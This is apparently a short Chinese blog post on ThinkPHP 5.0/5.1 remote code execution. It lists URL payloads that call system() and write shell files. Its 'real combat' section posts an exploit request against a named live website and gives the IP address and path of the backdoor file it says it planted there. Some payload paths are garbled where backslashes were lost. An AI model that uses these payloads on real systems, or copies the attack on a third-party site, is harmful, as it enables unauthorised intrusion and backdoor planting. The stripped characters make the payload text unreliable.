thinkphp5 rce

thinkphp5 rce

rce有两个大版本的分别:

  1. ThinkPHP 5.0-5.0.24
  2. ThinkPHP 5.1.0-5.1.30

因为漏洞触发点和版本的不同,导致payload分为多种,其中一些payload需要取决于debug选项 比如直接访问路由触发的。

5.1.x
?s=index/ hinkRequest/input&filter[]=system&data=pwd
?s=index/ hinkviewdriverPhp/display&content=
?s=index/ hink emplatedriverfile/write&cacheFile=shell.php&content=
?s=index/ hinkContainer/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
?s=index/ hinkapp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id

实战:

ThinkPHP V5.0.15

POST:
http://www.zhffcl.org.cn/index.php

s=file_put_contents('/opt/lampp/htdocs/static/upload/in.php','')&_method=__construct&method=GET&filter[]=assert

上传phpinfo到有权限的目录,虽然报错,但还是上传成功了。

后门文件位置:http://114.55.100.17/static/upload/in.php

逆水行舟,不进则退。
原文地址:https://www.cnblogs.com/rab3it/p/14856792.html